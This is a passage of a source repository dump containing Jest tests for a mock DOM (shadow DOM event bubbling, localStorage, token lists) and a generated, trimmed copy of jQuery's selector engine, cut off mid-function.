    const html = serializeNodeToHtml(elm, { prettyHtml: true });
    expect(html).toBe(`<${voidElm}>`);
  });
});


================================================
FILE: src/mock-doc/test/shadow-dom-event-bubbling.spec.ts
================================================
import { MockDocument } from '../document';
import { MockWindow } from '../window';

describe('Shadow DOM event bubbling', () => {
  let win: MockWindow;
  let doc: MockDocument;

  beforeEach(() => {
    win = new MockWindow();
    doc = win.document as unknown as MockDocument;
  });

  it('should allow events to bubble from shadow DOM children to shadow host when composed: true', () => {
    const parentHost = doc.createElement('my-parent');
    const parentShadow = parentHost.attachShadow({ mode: 'open' });

    const childHost = doc.createElement('my-child');
    childHost.attachShadow({ mode: 'open' });

    doc.body.appendChild(parentHost);
    parentShadow.appendChild(childHost);

    let parentEventReceived = false;
    let receivedEventType = '';
    let receivedComposed = false;

    parentHost.addEventListener('custom-event', (event: any) => {
      parentEventReceived = true;
      receivedEventType = event.type;
      receivedComposed = event.composed;
    });

    const customEvent = new Event('custom-event', {
      bubbles: true,
      composed: true,
    });

    childHost.dispatchEvent(customEvent);

    expect(parentEventReceived).toBe(true);
    expect(receivedEventType).toBe('custom-event');
    expect(receivedComposed).toBe(true);
  });

  it('should NOT allow events to bubble across shadow boundaries when composed: false', () => {
    const parentHost = doc.createElement('my-parent');
    const parentShadow = parentHost.attachShadow({ mode: 'open' });

    const childHost = doc.createElement('my-child');

    doc.body.appendChild(parentHost);
    parentShadow.appendChild(childHost);

    let parentEventReceived = false;

    parentHost.addEventListener('custom-event', () => {
      parentEventReceived = true;
    });

    const customEvent = new Event('custom-event', {
      bubbles: true,
      composed: false, // This should NOT cross shadow boundaries
    });

    childHost.dispatchEvent(customEvent);

    expect(parentEventReceived).toBe(false);
  });

  it('should work with CustomEvent and detail property', () => {
    const parentHost = doc.createElement('my-parent');
    const parentShadow = parentHost.attachShadow({ mode: 'open' });

    const childHost = doc.createElement('my-child');

    doc.body.appendChild(parentHost);
    parentShadow.appendChild(childHost);

    let receivedDetail: any = null;

    parentHost.addEventListener('custom-event', (event: any) => {
      receivedDetail = event.detail;
    });

    const customEvent = new CustomEvent('custom-event', {
      bubbles: true,
      composed: true,
      detail: { message: 'test data', value: 42 },
    });

    childHost.dispatchEvent(customEvent);

    expect(receivedDetail).toEqual({ message: 'test data', value: 42 });
  });
});


================================================
FILE: src/mock-doc/test/storage.spec.ts
================================================
import { MockWindow } from '../window';

describe('storage', () => {
  let win: MockWindow;
  beforeEach(() => {
    win = new MockWindow();
  });

  it('localStorage should return proper values', () => {
    expect(win.localStorage.getItem('key')).toEqual(null);

    win.localStorage.setItem('key', null);
    expect(win.localStorage.getItem('key')).toEqual('null');

    win.localStorage.setItem('key', undefined);
    expect(win.localStorage.getItem('key')).toEqual('null');

    win.localStorage.setItem('key', 12 as any);
    expect(win.localStorage.getItem('key')).toEqual('12');

    win.localStorage.setItem('key', 'value');
    expect(win.localStorage.getItem('key')).toEqual('value');
  });

  it('should remove value', () => {
    win.localStorage.setItem('key', 'value');
    win.localStorage.removeItem('key');
    expect(win.localStorage.getItem('key')).toEqual(null);
  });

  it('should not crash if removing twice', () => {
    win.localStorage.setItem('key', 'value');
    win.localStorage.removeItem('key');
    win.localStorage.removeItem('key');
    win.localStorage.removeItem('foo');
    expect(win.localStorage.getItem('key')).toEqual(null);
    expect(win.localStorage.getItem('foo')).toEqual(null);
  });

  it('should clear all', () => {
    win.localStorage.setItem('key', 'value');
    win.localStorage.setItem('foo', 'bar');
    expect(win.localStorage.getItem('key')).toEqual('value');
    expect(win.localStorage.getItem('foo')).toEqual('bar');

    win.localStorage.clear();
    expect(win.localStorage.getItem('key')).toEqual(null);
    expect(win.localStorage.getItem('foo')).toEqual(null);
  });

  it('should cast keys to string all', () => {
    win.localStorage.setItem('12', 'value');
    win.localStorage.setItem(12 as any, 'bar');
    expect(win.localStorage.getItem('12')).toEqual('bar');
    expect(win.localStorage.getItem(12 as any)).toEqual('bar');
  });
});


================================================
FILE: src/mock-doc/test/token-list.spec.ts
================================================
import { MockTokenList } from '../token-list';
import { MockDocument } from '../document';
import { MockElement } from '../node';

describe('token-list', () => {
  let tokenList: MockTokenList;
  beforeEach(() => {
    const doc = new MockDocument();
    const el = new MockElement(doc, 'div');
    tokenList = new MockTokenList(el as any, 'class');
  });

  it('add and remove tokens', () => {
    tokenList.add('one');
    tokenList.add('two', 'three');
    tokenList.add(null);
    tokenList.add(undefined);
    tokenList.add(1 as any, 2 as any);
    expect(tokenList.toString()).toEqual('one two three null undefined 1 2');

    expect(tokenList.contains('one')).toBe(true);
    expect(tokenList.contains('two')).toBe(true);
    expect(tokenList.contains('three')).toBe(true);
    expect(tokenList.contains('null')).toBe(true);
    expect(tokenList.contains(null)).toBe(true);
    expect(tokenList.contains('undefined')).toBe(true);
    expect(tokenList.contains('1')).toBe(true);
    expect(tokenList.contains(2 as any)).toBe(true);

    tokenList.remove('one');
    tokenList.remove('two', 'three');
    tokenList.remove(null);
    tokenList.remove(undefined);
    tokenList.remove(1 as any, 2 as any);

    expect(tokenList.toString()).toEqual('');
  });

  it('should throw if empty', () => {
    expect(() => {
      tokenList.add('');
    }).toThrow();
    expect(() => {
      tokenList.remove('');
    }).toThrow();
  });

  it('should throw if has spaces', () => {
    expect(() => {
      tokenList.add('');
    }).toThrow();
    expect(() => {
      tokenList.remove(' ');
    }).toThrow();
  });
});


================================================
FILE: src/mock-doc/third-party/jquery.ts
================================================
/* eslint-disable */
// @ts-nocheck

/**
 * ATTENTION: DO NOT MODIFY THIS FILE
 *
 * This file is generated by "scripts/updateSelectorEngine.ts" and can be overwritten
 * at any time. Don't make changes in here as they will get lost!
 */
export default /*!
 * jQuery JavaScript Library v4.0.0-pre+9352011a7.dirty +selector
 * https://jquery.com/
 *
 * Copyright OpenJS Foundation and other contributors
 * Released under the MIT license
 * https://jquery.org/license
 *
 * Date: 2023-12-11T17:55Z
 */
( function( global, factory ) {

	"use strict";

	if (true) {

		// For CommonJS and CommonJS-like environments where a proper `window`
		// is present, execute the factory and get jQuery.
		return factory( global, true );
	} else {
		factory( global );
	}

// Pass this if window is not defined yet
} )( {
  document: {
    createElement() {
      return {};
    },
    nodeType: 9,
    documentElement: {
      nodeType: 1,
      nodeName: 'HTML'
    }
  }
}, function( window, noGlobal ) {

"use strict";

if ( !window.document ) {
	throw new Error( "jQuery requires a window with a document" );
}

var arr = [];

var getProto = Object.getPrototypeOf;

var slice = arr.slice;

// Support: IE 11+
// IE doesn't have Array#flat; provide a fallback.
var flat = arr.flat ? function( array ) {
	return arr.flat.call( array );
} : function( array ) {
	return arr.concat.apply( [], array );
};

var push = arr.push;

var indexOf = arr.indexOf;

// [[Class]] -> type pairs
var class2type = {};

var toString = class2type.toString;

var hasOwn = class2type.hasOwnProperty;

var fnToString = hasOwn.toString;

var ObjectFunctionString = fnToString.call( Object );

// All support tests are defined in their respective modules.
var support = {};

function toType( obj ) {
	if ( obj == null ) {
		return obj + "";
	}

	return typeof obj === "object" ?
		class2type[ toString.call( obj ) ] || "object" :
		typeof obj;
}

function isWindow( obj ) {
	return obj != null && obj === obj.window;
}

function isArrayLike( obj ) {

	var length = !!obj && obj.length,
		type = toType( obj );

	if ( typeof obj === "function" || isWindow( obj ) ) {
		return false;
	}

	return type === "array" || length === 0 ||
		typeof length === "number" && length > 0 && ( length - 1 ) in obj;
}

var document = window.document;

var preservedScriptAttributes = {
	type: true,
	src: true,
	nonce: true,
	noModule: true
};

function DOMEval( code, node, doc ) {
	doc = doc || document;

	var i,
		script = doc.createElement( "script" );

	script.text = code;
	if ( node ) {
		for ( i in preservedScriptAttributes ) {
			if ( node[ i ] ) {
				script[ i ] = node[ i ];
			}
		}
	}
	doc.head.appendChild( script ).parentNode.removeChild( script );
}

const jQuery = {} as { find: Function };
var version = "4.0.0-pre+9352011a7.dirty +selector",

	rhtmlSuffix = /HTML$/i,

	// Define a local copy of jQuery
	jQueryOrig = function( selector, context ) {

		// The jQuery object is actually just the init constructor 'enhanced'
		// Need init if jQuery is called (just allow error to be thrown if not included)
		return new jQuery.fn.init( selector, context );
	};

jQuery.fn = jQuery.prototype = {

	// The current version of jQuery being used
	jquery: version,

	constructor: jQuery,

	// The default length of a jQuery object is 0
	length: 0,

	toArray: function() {
		return slice.call( this );
	},

	// Get the Nth element in the matched element set OR
	// Get the whole matched element set as a clean array
	get: function( num ) {

		// Return all the elements in a clean array
		if ( num == null ) {
			return slice.call( this );
		}

		// Return just the one element from the set
		return num < 0 ? this[ num + this.length ] : this[ num ];
	},

	// Take an array of elements and push it onto the stack
	// (returning the new matched element set)
	pushStack: function( elems ) {

		// Build a new jQuery matched element set
		var ret = jQuery.merge( this.constructor(), elems );

		// Add the old object onto the stack (as a reference)
		ret.prevObject = this;

		// Return the newly-formed element set
		return ret;
	},

	// Execute a callback for every element in the matched set.
	each: function( callback ) {
		return jQuery.each( this, callback );
	},

	map: function( callback ) {
		return this.pushStack( jQuery.map( this, function( elem, i ) {
			return callback.call( elem, i, elem );
		} ) );
	},

	slice: function() {
		return this.pushStack( slice.apply( this, arguments ) );
	},

	first: function() {
		return this.eq( 0 );
	},

	last: function() {
		return this.eq( -1 );
	},

	even: function() {
		return this.pushStack( jQuery.grep( this, function( _elem, i ) {
			return ( i + 1 ) % 2;
		} ) );
	},

	odd: function() {
		return this.pushStack( jQuery.grep( this, function( _elem, i ) {
			return i % 2;
		} ) );
	},

	eq: function( i ) {
		var len = this.length,
			j = +i + ( i < 0 ? len : 0 );
		return this.pushStack( j >= 0 && j < len ? [ this[ j ] ] : [] );
	},

	end: function() {
		return this.prevObject || this.constructor();
	}
};

jQuery.extend = jQuery.fn.extend = function() {
	var options, name, src, copy, copyIsArray, clone,
		target = arguments[ 0 ] || {},
		i = 1,
		length = arguments.length,
		deep = false;

	// Handle a deep copy situation
	if ( typeof target === "boolean" ) {
		deep = target;

		// Skip the boolean and the target
		target = arguments[ i ] || {};
		i++;
	}

	// Handle case when target is a string or something (possible in deep copy)
	if ( typeof target !== "object" && typeof target !== "function" ) {
		target = {};
	}

	// Extend jQuery itself if only one argument is passed
	if ( i === length ) {
		target = this;
		i--;
	}

	for ( ; i < length; i++ ) {

		// Only deal with non-null/undefined values
		if ( ( options = arguments[ i ] ) != null ) {

			// Extend the base object
			for ( name in options ) {
				copy = options[ name ];

				// Prevent Object.prototype pollution
				// Prevent never-ending loop
				if ( name === "__proto__" || target === copy ) {
					continue;
				}

				// Recurse if we're merging plain objects or arrays
				if ( deep && copy && ( jQuery.isPlainObject( copy ) ||
					( copyIsArray = Array.isArray( copy ) ) ) ) {
					src = target[ name ];

					// Ensure proper type for the source value
					if ( copyIsArray && !Array.isArray( src ) ) {
						clone = [];
					} else if ( !copyIsArray && !jQuery.isPlainObject( src ) ) {
						clone = {};
					} else {
						clone = src;
					}
					copyIsArray = false;

					// Never move original objects, clone them
					target[ name ] = jQuery.extend( deep, clone, copy );

				// Don't bring in undefined values
				} else if ( copy !== undefined ) {
					target[ name ] = copy;
				}
			}
		}
	}

	// Return the modified object
	return target;
};

jQuery.extend( {

	// Unique for each copy of jQuery on the page
	expando: "jQuery" + ( version + Math.random() ).replace( /\D/g, "" ),

	// Assume jQuery is ready without the ready module
	isReady: true,

	error: function( msg ) {
		throw new Error( msg );
	},

	noop: function() {},

	isPlainObject: function( obj ) {
		var proto, Ctor;

		// Detect obvious negatives
		// Use toString instead of jQuery.type to catch host objects
		if ( !obj || toString.call( obj ) !== "[object Object]" ) {
			return false;
		}

		proto = getProto( obj );

		// Objects with no prototype (e.g., `Object.create( null )`) are plain
		if ( !proto ) {
			return true;
		}

		// Objects with prototype are plain iff they were constructed by a global Object function
		Ctor = hasOwn.call( proto, "constructor" ) && proto.constructor;
		return typeof Ctor === "function" && fnToString.call( Ctor ) === ObjectFunctionString;
	},

	isEmptyObject: function( obj ) {
		var name;

		for ( name in obj ) {
			return false;
		}
		return true;
	},

	// Evaluates a script in a provided context; falls back to the global one
	// if not specified.
	globalEval: function( code, options, doc ) {
		DOMEval( code, { nonce: options && options.nonce }, doc );
	},

	each: function( obj, callback ) {
		var length, i = 0;

		if ( isArrayLike( obj ) ) {
			length = obj.length;
			for ( ; i < length; i++ ) {
				if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {
					break;
				}
			}
		} else {
			for ( i in obj ) {
				if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {
					break;
				}
			}
		}

		return obj;
	},


	// Retrieve the text value of an array of DOM nodes
	text: function( elem ) {
		var node,
			ret = "",
			i = 0,
			nodeType = elem.nodeType;

		if ( !nodeType ) {

			// If no nodeType, this is expected to be an array
			while ( ( node = elem[ i++ ] ) ) {

				// Do not traverse comment nodes
				ret += jQuery.text( node );
			}
		}
		if ( nodeType === 1 || nodeType === 11 ) {
			return elem.textContent;
		}
		if ( nodeType === 9 ) {
			return elem.documentElement.textContent;
		}
		if ( nodeType === 3 || nodeType === 4 ) {
			return elem.nodeValue;
		}

		// Do not include comment or processing instruction nodes

		return ret;
	},


	// results is for internal usage only
	makeArray: function( arr, results ) {
		var ret = results || [];

		if ( arr != null ) {
			if ( isArrayLike( Object( arr ) ) ) {
				jQuery.merge( ret,
					typeof arr === "string" ?
						[ arr ] : arr
				);
			} else {
				push.call( ret, arr );
			}
		}

		return ret;
	},

	inArray: function( elem, arr, i ) {
		return arr == null ? -1 : indexOf.call( arr, elem, i );
	},

	isXMLDoc: function( elem ) {
		var namespace = elem && elem.namespaceURI,
			docElem = elem && ( elem.ownerDocument || elem ).documentElement;

		// Assume HTML when documentElement doesn't yet exist, such as inside
		// document fragments.
		return !rhtmlSuffix.test( namespace || docElem && docElem.nodeName || "HTML" );
	},

	// Note: an element does not contain itself
	contains: function( a, b ) {
		var bup = b && b.parentNode;

		return a === bup || !!( bup && bup.nodeType === 1 && (

			// Support: IE 9 - 11+
			// IE doesn't have `contains` on SVG.
			a.contains ?
				a.contains( bup ) :
				a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16
		) );
	},

	merge: function( first, second ) {
		var len = +second.length,
			j = 0,
			i = first.length;

		for ( ; j < len; j++ ) {
			first[ i++ ] = second[ j ];
		}

		first.length = i;

		return first;
	},

	grep: function( elems, callback, invert ) {
		var callbackInverse,
			matches = [],
			i = 0,
			length = elems.length,
			callbackExpect = !invert;

		// Go through the array, only saving the items
		// that pass the validator function
		for ( ; i < length; i++ ) {
			callbackInverse = !callback( elems[ i ], i );
			if ( callbackInverse !== callbackExpect ) {
				matches.push( elems[ i ] );
			}
		}

		return matches;
	},

	// arg is for internal usage only
	map: function( elems, callback, arg ) {
		var length, value,
			i = 0,
			ret = [];

		// Go through the array, translating each of the items to their new values
		if ( isArrayLike( elems ) ) {
			length = elems.length;
			for ( ; i < length; i++ ) {
				value = callback( elems[ i ], i, arg );

				if ( value != null ) {
					ret.push( value );
				}
			}

		// Go through every key on the object,
		} else {
			for ( i in elems ) {
				value = callback( elems[ i ], i, arg );

				if ( value != null ) {
					ret.push( value );
				}
			}
		}

		// Flatten any nested arrays
		return flat( ret );
	},

	// A global GUID counter for objects
	guid: 1,

	// jQuery.support is not used in Core but other projects attach their
	// properties to it so it needs to exist.
	support: support
} );

if ( typeof Symbol === "function" ) {
	jQuery.fn[ Symbol.iterator ] = arr[ Symbol.iterator ];
}

// Populate the class2type map
jQuery.each( "Boolean Number String Function Array Date RegExp Object Error Symbol".split( " " ),
	function( _i, name ) {
		class2type[ "[object " + name + "]" ] = name.toLowerCase();
	} );

function nodeName( elem, name ) {
	return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();
}

var pop = arr.pop;

// https://www.w3.org/TR/css3-selectors/#whitespace
var whitespace = "[\\x20\\t\\r\\n\\f]";

var isIE = document.documentMode;

// Support: Chrome 105 - 111 only, Safari 15.4 - 16.3 only
// Make sure the `:has()` argument is parsed unforgivingly.
// We include `*` in the test to detect buggy implementations that are
// _selectively_ forgiving (specifically when the list includes at least
// one valid selector).
// Note that we treat complete lack of support for `:has()` as if it were
// spec-compliant support, which is fine because use of `:has()` in such
// environments will fail in the qSA path and fall back to jQuery traversal
// anyway.
try {
	document.querySelector( ":has(*,:jqfake)" );
	support.cssHas = false;
} catch ( e ) {
	support.cssHas = true;
}

// Build QSA regex.
// Regex strategy adopted from Diego Perini.
var rbuggyQSA = [];

if ( isIE ) {
	rbuggyQSA.push(

		// Support: IE 9 - 11+
		// IE's :disabled selector does not pick up the children of disabled fieldsets
		":enabled",
		":disabled",

		// Support: IE 11+
		// IE 11 doesn't find elements on a `[name='']` query in some cases.
		// Adding a temporary attribute to the document before the selection works
		// around the issue.
		"\\[" + whitespace + "*name" + whitespace + "*=" +
			whitespace + "*(?:''|\"\")"
	);
}

if ( !support.cssHas ) {

	// Support: Chrome 105 - 110+, Safari 15.4 - 16.3+
	// Our regular `try-catch` mechanism fails to detect natively-unsupported
	// pseudo-classes inside `:has()` (such as `:has(:contains("Foo"))`)
	// in browsers that parse the `:has()` argument as a forgiving selector list.
	// https://drafts.csswg.org/selectors/#relational now requires the argument
	// to be parsed unforgivingly, but browsers have not yet fully adjusted.
	rbuggyQSA.push( ":has" );
}

rbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join( "|" ) );

var rtrimCSS = new RegExp(
	"^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$",
	"g"
);

// https://www.w3.org/TR/css-syntax-3/#ident-token-diagram
var identifier = "(?:\\\\[\\da-fA-F]{1,6}" + whitespace +
	"?|\\\\[^\\r\\n\\f]|[\\w-]|[^\0-\\x7f])+";

var booleans = "checked|selected|async|autofocus|autoplay|controls|" +
	"defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped";

var rleadingCombinator = new RegExp( "^" + whitespace + "*([>+~]|" +
	whitespace + ")" + whitespace + "*" );

var rdescend = new RegExp( whitespace + "|>" );

var rsibling = /[+~]/;

var documentElement = document.documentElement;

// Support: IE 9 - 11+
// IE requires a prefix.
var matches = documentElement.matches || documentElement.msMatchesSelector;

/**
 * Create key-value caches of limited size
 * @returns {function(string, object)} Returns the Object data after storing it on itself with
 *	property name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength)
 *	deleting the oldest entry
 */
function createCache() {
	var keys = [];

	function cache( key, value ) {

		// Use (key + " ") to avoid collision with native prototype properties
		// (see https://github.com/jquery/sizzle/issues/157)
		if ( keys.push( key + " " ) > jQuery.expr.cacheLength ) {

			// Only keep the most recent entries
			delete cache[ keys.shift() ];
		}
		return ( cache[ key + " " ] = value );
	}
	return cache;
}

/**
 * Checks a node for validity as a jQuery selector context
 * @param {Element|Object=} context
 * @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value
 */
function testContext( context ) {
	return context && typeof context.getElementsByTagName !== "undefined" && context;
}

// Attribute selectors: https://www.w3.org/TR/selectors/#attribute-selectors
var attributes = "\\[" + whitespace + "*(" + identifier + ")(?:" + whitespace +

	// Operator (capture 2)
	"*([*^$|!~]?=)" + whitespace +

	// "Attribute values must be CSS identifiers [capture 5] or strings [capture 3 or capture 4]"
	"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + identifier + "))|)" +
	whitespace + "*\\]";

var pseudos = ":(" + identifier + ")(?:\\((" +

	// To reduce the number of selectors needing tokenize in the preFilter, prefer arguments:
	// 1. quoted (capture 3; capture 4 or capture 5)
	"('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|" +

	// 2. simple (capture 6)
	"((?:\\\\.|[^\\\\()[\\]]|" + attributes + ")*)|" +

	// 3. anything else (capture 2)
	".*" +
	")\\)|)";

var filterMatchExpr = {
	ID: new RegExp( "^#(" + identifier + ")" ),
	CLASS: new RegExp( "^\\.(" + identifier + ")" ),
	TAG: new RegExp( "^(" + identifier + "|[*])" ),
	ATTR: new RegExp( "^" + attributes ),
	PSEUDO: new RegExp( "^" + pseudos ),
	CHILD: new RegExp(
		"^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" +
		whitespace + "*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" +
		whitespace + "*(\\d+)|))" + whitespace + "*\\)|)", "i" )
};

var rpseudo = new RegExp( pseudos );

// CSS escapes

var runescape = new RegExp( "\\\\[\\da-fA-F]{1,6}" + whitespace +
	"?|\\\\([^\\r\\n\\f])", "g" ),
	funescape = function( escape, nonHex ) {
		var high = "0x" + escape.slice( 1 ) - 0x10000;

		if ( nonHex ) {

			// Strip the backslash prefix from a non-hex escape sequence
			return nonHex;
		}

		// Replace a hexadecimal escape sequence with the encoded Unicode code point
		// Support: IE <=11+
		// For values outside the Basic Multilingual Plane (BMP), manually construct a
		// surrogate pair
		return high < 0 ?
			String.fromCharCode( high + 0x10000 ) :
			String.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 );
	};

function unescapeSelector( sel ) {
	return sel.replace( runescape, funescape );
}

function selectorError( msg ) {
	jQuery.error( "Syntax error, unrecognized expression: " + msg );
}

var rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" );

var tokenCache = createCache();

function tokenize( selector, parseOnly ) {
	var matched, match, tokens, type,
		soFar, groups, preFilters,
		cached = tokenCache[ selector + " " ];

	if ( cached ) {
		return parseOnly ? 0 : cached.slice( 0 );
	}

	soFar = selector;
	groups = [];
	preFilters = jQuery.expr.preFilter;

	while ( soFar ) {

		// Comma and first run
		if ( !matched || ( match = rcomma.exec( soFar ) ) ) {
			if ( match ) {

				// Don't consume trailing commas as valid
				soFar = soFar.slice( match[ 0 ].length ) || soFar;
			}
			groups.push( ( tokens = [] ) );
		}

		matched = false;

		// Combinators
		if ( ( match = rleadingCombinator.exec( soFar ) ) ) {
			matched = match.shift();
			tokens.push( {
				value: matched,

				// Cast descendant combinators to space
				type: match[ 0 ].replace( rtrimCSS, " " )
			} );
			soFar = soFar.slice( matched.length );
		}

		// Filters
		for ( type in filterMatchExpr ) {
			if ( ( match = jQuery.expr.match[ type ].exec( soFar ) ) && ( !preFilters[ type ] ||
				( match = preFilters[ type ]( match ) ) ) ) {
				matched = match.shift();
				tokens.push( {
					value: matched,
					type: type,
					matches: match
				} );
				soFar = soFar.slice( matched.length );
			}
		}

		if ( !matched ) {
			break;
		}
	}

	// Return the length of the invalid excess
	// if we're just parsing
	// Otherwise, throw an error or return tokens
	if ( parseOnly ) {
		return soFar.length;
	}

	return soFar ?
		selectorError( selector ) :

		// Cache the tokens
		tokenCache( selector, groups ).slice( 0 );
}

var preFilter = {
	ATTR: function( match ) {
		match[ 1 ] = unescapeSelector( match[ 1 ] );

		// Move the given value to match[3] whether quoted or unquoted
		match[ 3 ] = unescapeSelector( match[ 3 ] || match[ 4 ] || match[ 5 ] || "" );

		if ( match[ 2 ] === "~=" ) {
			match[ 3 ] = " " + match[ 3 ] + " ";
		}

		return match.slice( 0, 4 );
	},

	CHILD: function( match ) {

		/* matches from filterMatchExpr["CHILD"]
			1 type (only|nth|...)
			2 what (child|of-type)
			3 argument (even|odd|\d*|\d*n([+-]\d+)?|...)
			4 xn-component of xn+y argument ([+-]?\d*n|)
			5 sign of xn-component
			6 x of xn-component
			7 sign of y-component
			8 y of y-component
		*/
		match[ 1 ] = match[ 1 ].toLowerCase();

		if ( match[ 1 ].slice( 0, 3 ) === "nth" ) {

			// nth-* requires argument
			if ( !match[ 3 ] ) {
				selectorError( match[ 0 ] );
			}

			// numeric x and y parameters for jQuery.expr.filter.CHILD
			// remember that false/true cast respectively to 0/1
			match[ 4 ] = +( match[ 4 ] ?
				match[ 5 ] + ( match[ 6 ] || 1 ) :
				2 * ( match[ 3 ] === "even" || match[ 3 ] === "odd" )
			);
			match[ 5 ] = +( ( match[ 7 ] + match[ 8 ] ) || match[ 3 ] === "odd" );

		// other types prohibit arguments
		} else if ( match[ 3 ] ) {
			selectorError( match[ 0 ] );
		}

		return match;
	},

	PSEUDO: function( match ) {
		var excess,
			unquoted = !match[ 6 ] && match[ 2 ];

		if ( filterMatchExpr.CHILD.test( match[ 0 ] ) ) {
			return null;
		}

		// Accept quoted arguments as-is
		if ( match[ 3 ] ) {
			match[ 2 ] = match[ 4 ] || match[ 5 ] || "";

		// Strip excess characters from unquoted arguments
		} else if ( unquoted && rpseudo.test( unquoted ) &&

			// Get excess from tokenize (recursively)
			( excess = tokenize( unquoted, true ) ) &&

			// advance to the next closing parenthesis
			( excess = unquoted.indexOf( ")", unquoted.length - excess ) -
				unquoted.length ) ) {

			// excess is a negative index
			match[ 0 ] = match[ 0 ].slice( 0, excess );
			match[ 2 ] = unquoted.slice( 0, excess );
		}

		// Return only captures needed by the pseudo filter method (type and argument)
		return match.slice( 0, 3 );
	}
};

function toSelector( tokens ) {
	var i = 0,
		len = tokens.length,
		selector = "";
	for ( ; i < len; i++ ) {
		selector += tokens[ i ].value;
	}
	return selector;
}

// CSS string/identifier serialization
// https://drafts.csswg.org/cssom/#common-serializing-idioms
var rcssescape = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g;

function fcssescape( ch, asCodePoint ) {
	if ( asCodePoint ) {

		// U+0000 NULL becomes U+FFFD REPLACEMENT CHARACTER
		if ( ch === "\0" ) {
			return "\uFFFD";
		}

		// Control characters and (dependent upon position) numbers get escaped as code points
		return ch.slice( 0, -1 ) + "\\" + ch.charCodeAt( ch.length - 1 ).toString( 16 ) + " ";
	}

	// Other potentially-special ASCII characters get backslash-escaped
	return "\\" + ch;
}

jQuery.escapeSelector = function( sel ) {
	return ( sel + "" ).replace( rcssescape, fcssescape );
};

var sort = arr.sort;

var splice = arr.splice;

var hasDuplicate;

// Document order sorting
function sortOrder( a, b ) {

	// Flag for duplicate removal
	if ( a === b ) {
		hasDuplicate = true;
		return 0;
	}

	// Sort on method existence if only one input has compareDocumentPosition
	var compare = !a.compareDocumentPosition - !b.compareDocumentPosition;
	if ( compare ) {
		return compare;
	}

	// Calculate position if both inputs belong to the same document
	// Support: IE 11+
	// IE sometimes throws a "Permission denied" error when strict-comparing
	// two documents; shallow comparisons work.
	// eslint-disable-next-line eqeqeq
	compare = ( a.ownerDocument || a ) == ( b.ownerDocument || b ) ?
		a.compareDocumentPosition( b ) :

		// Otherwise we know they are disconnected
		1;

	// Disconnected nodes
	if ( compare & 1 ) {

		// Choose the first element that is related to the document
		// Support: IE 11+
		// IE sometimes throws a "Permission denied" error when strict-comparing
		// two documents; shallow comparisons work.
		// eslint-disable-next-line eqeqeq
		if ( a == document || a.ownerDocument == document &&
			jQuery.contains( document, a ) ) {
			return -1;
		}

		// Support: IE 11+
		// IE sometimes throws a "Permission denied" error when strict-comparing
		// two documents; shallow comparisons work.
		// eslint-disable-next-line eqeqeq
		if ( b == document || b.ownerDocument == document &&
			jQuery.contains( document, b ) ) {
			return 1;
		}

		// Maintain original order
		return 0;
	}

	return compare & 4 ? -1 : 1;
}

/**
 * Document sorting and removing duplicates
 * @param {ArrayLike} results
 */
jQuery.uniqueSort = function( results ) {
	var elem,
		duplicates = [],
		j = 0,
		i = 0;

	hasDuplicate = false;

	sort.call( results, sortOrder );

	if ( hasDuplicate ) {
		while ( ( elem = results[ i++ ] ) ) {
			if ( elem === results[ i ] ) {
				j = duplicates.push( i );
			}
		}
		while ( j-- ) {
			splice.call( results, duplicates[ j ], 1 );
		}
	}

	return results;
};

jQuery.fn.uniqueSort = function() {
	return this.pushStack( jQuery.uniqueSort( slice.apply( this ) ) );
};

var i,
	outermostContext,

	// Local document vars
	document$1,
	documentElement$1,
	documentIsHTML,

	// Instance-specific data
	dirruns = 0,
	done = 0,
	classCache = createCache(),
	compilerCache = createCache(),
	nonnativeSelectorCache = createCache(),

	// Regular expressions

	// Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter
	rwhitespace = new RegExp( whitespace + "+", "g" ),

	ridentifier = new RegExp( "^" + identifier + "$" ),

	matchExpr = jQuery.extend( {
		bool: new RegExp( "^(?:" + booleans + ")$", "i" ),

		// For use in libraries implementing .is()
		// We use this for POS matching in `select`
		needsContext: new RegExp( "^" + whitespace +
			"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + whitespace +
			"*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i" )
	}, filterMatchExpr ),

	rinputs = /^(?:input|select|textarea|button)$/i,
	rheader = /^h\d$/i,

	// Easily-parseable/retrievable ID or TAG or CLASS selectors
	rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,

	// Used for iframes; see `setDocument`.
	// Support: IE 9 - 11+
	// Removing the function wrapper causes a "Permission Denied"
	// error in IE.
	unloadHandler = function() {
		setDocument();
	},

	inDisabledFieldset = addCombinator(
		function( elem ) {
			return elem.disabled === true && nodeName( elem, "fieldset" );
		},
		{ dir: "parentNode", next: "legend" }
	);

function find( selector, context, results, seed ) {
	var m, i, elem, nid, match, groups, newSelector,
		newContext = context && context.ownerDocument,

		// nodeType defaults to 9, since context defaults to document
		nodeType = context ? context.nodeType : 9;

	results = results || [];

	// Return early from calls with invalid selector or context
	if ( typeof selector !== "string" || !selector ||
		nodeType !== 1 && nodeType !== 9 && nodeType !== 11 ) {

		return results;
	}

	// Try to shortcut find operations (as opposed to filters) in HTML documents
	if ( false ) {
		setDocument( context );
		context = context || document$1;

		if ( documentIsHTML ) {

			// If the selector is sufficiently simple, try using a "get*By*" DOM method
			// (excepting DocumentFragment context, where the methods don't exist)
			if ( nodeType !== 11 && ( match = rquickExpr.exec( selector ) ) ) {

				// ID selector
				if ( ( m = match[ 1 ] ) ) {

					// Document context
					if ( nodeType === 9 ) {
						if ( ( elem = context.getElementById( m ) ) ) {
